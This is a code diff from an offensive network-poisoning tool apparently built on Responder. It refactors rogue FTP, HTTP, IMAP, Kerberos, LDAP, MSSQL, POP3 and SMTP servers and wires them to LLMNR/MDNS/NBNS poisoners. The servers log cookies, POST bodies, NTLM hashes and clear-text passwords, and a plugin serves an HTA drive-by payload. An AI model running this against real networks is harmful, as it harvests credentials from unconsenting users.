server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1)
|
||||||
|
else:
|
||||||
|
server = ThreadingTCPServer(('', 21), FTP1)
|
||||||
|
|
||||||
|
t = threading.Thread(name='SMB', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting SMB server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
|
class FTP1(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.send(str(FTPPacket()))
|
self.request.send(str(FTPPacket()))
|
||||||
|
|
|
@ -24,10 +24,14 @@ from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, T
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
from core.responder.utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
|
from core.logger import logger
|
||||||
from core.responder.packets import NTLM_Challenge
|
from core.responder.packets import NTLM_Challenge
|
||||||
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||||
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
|
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||||
|
|
||||||
|
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
|
log = logger().setup_logger("HTTP", formatter)
|
||||||
|
|
||||||
class HTTP:
|
class HTTP:
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
|
@ -113,7 +117,7 @@ def GrabCookie(data, host):
|
||||||
if Cookie:
|
if Cookie:
|
||||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||||
print text("[HTTP] Cookie : %s " % Cookie)
|
log.info("[HTTP] Cookie : {}".format(Cookie))
|
||||||
return Cookie
|
return Cookie
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
@ -124,7 +128,7 @@ def GrabHost(data, host):
|
||||||
if Host:
|
if Host:
|
||||||
Host = Host.group(0).replace('Host: ', '')
|
Host = Host.group(0).replace('Host: ', '')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
log.info("[HTTP] Host : {}".format(Host, 3))
|
||||||
return Host
|
return Host
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
@ -152,7 +156,7 @@ def RespondWithFile(client, filename, dlname=None):
|
||||||
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
||||||
|
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
log.info("[HTTP] Sending file {} to {}".format(filename, client))
|
||||||
|
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
|
|
||||||
|
@ -161,13 +165,13 @@ def GrabURL(data, host):
|
||||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||||
|
|
||||||
if GET and settings.Config.Verbose:
|
if GET:
|
||||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET)))
|
||||||
|
|
||||||
if POST and settings.Config.Verbose:
|
if POST:
|
||||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST)))
|
||||||
if len(''.join(POSTDATA)) > 2:
|
if len(''.join(POSTDATA)) > 2:
|
||||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip()))
|
||||||
|
|
||||||
# Handle HTTP packet sequence.
|
# Handle HTTP packet sequence.
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client):
|
||||||
|
@ -205,7 +209,7 @@ def PacketSequence(data, client):
|
||||||
ParseHTTPHash(NTLM_Auth, client)
|
ParseHTTPHash(NTLM_Auth, client)
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
log.info("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -230,7 +234,7 @@ def PacketSequence(data, client):
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
log.info("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -242,12 +246,12 @@ def PacketSequence(data, client):
|
||||||
if settings.Config.Basic == True:
|
if settings.Config.Basic == True:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
log.info("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = IIS_Auth_401_Ans()
|
Response = IIS_Auth_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
log.info("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
return str(Response)
|
return str(Response)
|
||||||
|
|
||||||
|
@ -265,7 +269,7 @@ class HTTP1(BaseRequestHandler):
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0])
|
Buffer = PacketSequence(data,self.client_address[0])
|
||||||
|
@ -290,7 +294,7 @@ class HTTPS(StreamRequestHandler):
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.exchange.send(Buffer)
|
self.exchange.send(Buffer)
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0])
|
Buffer = PacketSequence(data,self.client_address[0])
|
||||||
|
|
|
@ -15,14 +15,43 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
import settings
|
import core.responder.settings as settings
|
||||||
|
import threading
|
||||||
|
|
||||||
from utils import *
|
from core.responder.utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||||
|
|
||||||
|
class IMAP:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4)
|
||||||
|
else:
|
||||||
|
server = ThreadingTCPServer(('', 143), IMAP4)
|
||||||
|
|
||||||
|
t = threading.Thread(name='IMAP', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting IMAP server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
# IMAP4 Server class
|
# IMAP4 Server class
|
||||||
class IMAP(BaseRequestHandler):
|
class IMAP4(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -16,10 +16,55 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
import struct
|
import struct
|
||||||
import settings
|
import core.responder.settings as settings
|
||||||
|
import threading
|
||||||
|
from traceback import print_exc
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer
|
||||||
from utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
|
class Kerberos:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP)
|
||||||
|
server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP)
|
||||||
|
else:
|
||||||
|
server1 = ThreadingTCPServer(('', 88), KerbTCP)
|
||||||
|
server2 = ThreadingUDPServer(('', 88), KerbUDP)
|
||||||
|
|
||||||
|
for server in [server1, server2]:
|
||||||
|
t = threading.Thread(name='Kerberos', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting Kerberos server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
def ParseMSKerbv5TCP(Data):
|
def ParseMSKerbv5TCP(Data):
|
||||||
MsgType = Data[21:22]
|
MsgType = Data[21:22]
|
||||||
|
|
|
@ -16,11 +16,41 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
import struct
|
import struct
|
||||||
import settings
|
import core.responder.settings as settings
|
||||||
|
import threading
|
||||||
|
from traceback import print_exc
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||||
from utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
|
class LDAP:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer)
|
||||||
|
else:
|
||||||
|
server = ThreadingTCPServer(('', 389), LDAPServer)
|
||||||
|
|
||||||
|
t = threading.Thread(name='LDAP', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting LDAP server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
def ParseSearch(data):
|
def ParseSearch(data):
|
||||||
Search1 = re.search('(objectClass)', data)
|
Search1 = re.search('(objectClass)', data)
|
||||||
|
@ -66,7 +96,7 @@ def ParseLDAPHash(data, client):
|
||||||
})
|
})
|
||||||
|
|
||||||
if LMhashLen < 2 and settings.Config.Verbose:
|
if LMhashLen < 2 and settings.Config.Verbose:
|
||||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication")
|
||||||
|
|
||||||
def ParseNTLM(data,client):
|
def ParseNTLM(data,client):
|
||||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||||
|
@ -119,10 +149,10 @@ def ParseLDAPPacket(data, client):
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text('[LDAP] Operation not supported')
|
settings.Config.ResponderLogger.info('[LDAP] Operation not supported')
|
||||||
|
|
||||||
# LDAP Server class
|
# LDAP Server class
|
||||||
class LDAP(BaseRequestHandler):
|
class LDAPServer(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
|
|
|
@ -16,11 +16,40 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
import struct
|
import struct
|
||||||
import settings
|
import core.responder.settings as settings
|
||||||
|
import threading
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||||
from utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
|
class MSSQL:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer)
|
||||||
|
else:
|
||||||
|
server = ThreadingTCPServer(('', 1433), MSSQLServer)
|
||||||
|
|
||||||
|
t = threading.Thread(name='MSSQL', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting MSSQL server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
class TDS_Login_Packet():
|
class TDS_Login_Packet():
|
||||||
def __init__(self, data):
|
def __init__(self, data):
|
||||||
|
@ -119,11 +148,11 @@ def ParseClearTextSQLPass(data, client):
|
||||||
})
|
})
|
||||||
|
|
||||||
# MSSQL Server class
|
# MSSQL Server class
|
||||||
class MSSQL(BaseRequestHandler):
|
class MSSQLServer(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
|
|
|
@ -15,14 +15,44 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
import settings
|
import core.responder.settings as settings
|
||||||
|
import threading
|
||||||
|
from traceback import print_exc
|
||||||
|
|
||||||
from utils import *
|
from core.responder.utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||||
from packets import POPOKPacket
|
from core.responder.packets import POPOKPacket
|
||||||
|
|
||||||
|
class POP3:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server)
|
||||||
|
else:
|
||||||
|
server = ThreadingTCPServer(('', 110), POP3Server)
|
||||||
|
|
||||||
|
t = threading.Thread(name='POP3', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting POP3 server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
# POP3 Server class
|
# POP3 Server class
|
||||||
class POP3(BaseRequestHandler):
|
class POP3Server(BaseRequestHandler):
|
||||||
|
|
||||||
def SendPacketAndRead(self):
|
def SendPacketAndRead(self):
|
||||||
Packet = POPOKPacket()
|
Packet = POPOKPacket()
|
||||||
|
|
|
@ -74,6 +74,8 @@ def Is_LMNT_Anonymous(data):
|
||||||
|
|
||||||
#Function used to know which dialect number to return for NT LM 0.12
|
#Function used to know which dialect number to return for NT LM 0.12
|
||||||
def Parse_Nego_Dialect(data):
|
def Parse_Nego_Dialect(data):
|
||||||
|
packet = data
|
||||||
|
try:
|
||||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||||
#print hex(Dialect)
|
#print hex(Dialect)
|
||||||
|
|
||||||
|
@ -99,6 +101,9 @@ def Parse_Nego_Dialect(data):
|
||||||
return "\x09\x00"
|
return "\x09\x00"
|
||||||
if Dialect[10] == "NT LM 0.12":
|
if Dialect[10] == "NT LM 0.12":
|
||||||
return "\x0a\x00"
|
return "\x0a\x00"
|
||||||
|
except Exception:
|
||||||
|
print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
|
||||||
|
print hexdump(packet)
|
||||||
|
|
||||||
#Set MID SMB Header field.
|
#Set MID SMB Header field.
|
||||||
def midcalc(data):
|
def midcalc(data):
|
||||||
|
@ -124,7 +129,7 @@ def ParseShare(data):
|
||||||
packet = data[:]
|
packet = data[:]
|
||||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||||
if a:
|
if a:
|
||||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||||
|
|
||||||
#Parse SMB NTLMSSP v1/v2
|
#Parse SMB NTLMSSP v1/v2
|
||||||
def ParseSMBHash(data,client):
|
def ParseSMBHash(data,client):
|
||||||
|
@ -237,7 +242,7 @@ def IsNT4ClearTxt(data, client):
|
||||||
|
|
||||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||||
|
|
||||||
# SMB Server class, NTLMSSP
|
# SMB Server class, NTLMSSP
|
||||||
|
|
|
@ -15,12 +15,44 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
import settings
|
import core.responder.settings as settings
|
||||||
|
import threading
|
||||||
|
|
||||||
from utils import *
|
from core.responder.utils import *
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||||
|
|
||||||
|
class SMTP:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP)
|
||||||
|
server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP)
|
||||||
|
else:
|
||||||
|
server1 = ThreadingTCPServer(('', 25), SMB1)
|
||||||
|
server2 = ThreadingTCPServer(('', 587), SMB1)
|
||||||
|
|
||||||
|
for server in [server1, server2]:
|
||||||
|
t = threading.Thread(name='SMTP', target=server.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
print "Error starting SMTP server: {}".format(e)
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
|
|
||||||
|
allow_reuse_address = 1
|
||||||
|
|
||||||
|
def server_bind(self):
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
try:
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
# ESMTP Server class
|
# ESMTP Server class
|
||||||
class ESMTP(BaseRequestHandler):
|
class ESMTP(BaseRequestHandler):
|
||||||
|
|
|
@ -17,7 +17,6 @@
|
||||||
#
|
#
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import flask
|
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.inject import Inject
|
from plugins.inject import Inject
|
||||||
|
@ -34,7 +33,7 @@ class HTADriveBy(Inject, Plugin):
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
from core.servers.http.HTTPserver import HTTPserver
|
from core.servers.HTTP import HTTP
|
||||||
def hta_request(path):
|
def hta_request(path):
|
||||||
if path == options.hta_app.split('/')[-1]:
|
if path == options.hta_app.split('/')[-1]:
|
||||||
with open(options.hta_app) as hta_file:
|
with open(options.hta_app) as hta_file:
|
||||||
|
|
|
@ -17,7 +17,6 @@
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
import flask
|
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
|
@ -36,12 +35,40 @@ class Responder(Plugin):
|
||||||
self.ip = options.ip
|
self.ip = options.ip
|
||||||
|
|
||||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||||
from core.poisoners.LLMNR import LLMNR
|
import core.poisoners.LLMNR as LLMNR
|
||||||
from core.poisoners.MDNS import MDNS
|
import core.poisoners.MDNS as MDNS
|
||||||
from core.poisoners.NBTNS import NBTNS
|
import core.poisoners.NBTNS as NBTNS
|
||||||
LLMNR().start()
|
LLMNR.start()
|
||||||
MDNS().start()
|
MDNS.start()
|
||||||
NBTNS().start()
|
NBTNS.start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["SQL"].lower() == "on":
|
||||||
|
from core.servers.MSSQL import MSSQL
|
||||||
|
MSSQL().start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["Kerberos"].lower() == "on":
|
||||||
|
from core.servers.Kerberos import Kerberos
|
||||||
|
Kerberos().start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["FTP"].lower() == "on":
|
||||||
|
from core.servers.FTP import FTP
|
||||||
|
FTP().start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["POP"].lower() == "on":
|
||||||
|
from core.servers.POP3 import POP3
|
||||||
|
POP3().start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["SMTP"].lower() == "on":
|
||||||
|
from core.servers.SMTP import SMTP
|
||||||
|
SMTP().start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["IMAP"].lower() == "on":
|
||||||
|
from core.servers.IMAP import IMAP
|
||||||
|
IMAP().start()
|
||||||
|
|
||||||
|
if self.config["Responder"]["LDAP"].lower() == "on":
|
||||||
|
from core.servers.LDAP import LDAP
|
||||||
|
LDAP().start()
|
||||||
|
|
||||||
def reactor(self, strippingFactory):
|
def reactor(self, strippingFactory):
|
||||||
reactor.listenTCP(3141, strippingFactory)
|
reactor.listenTCP(3141, strippingFactory)
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue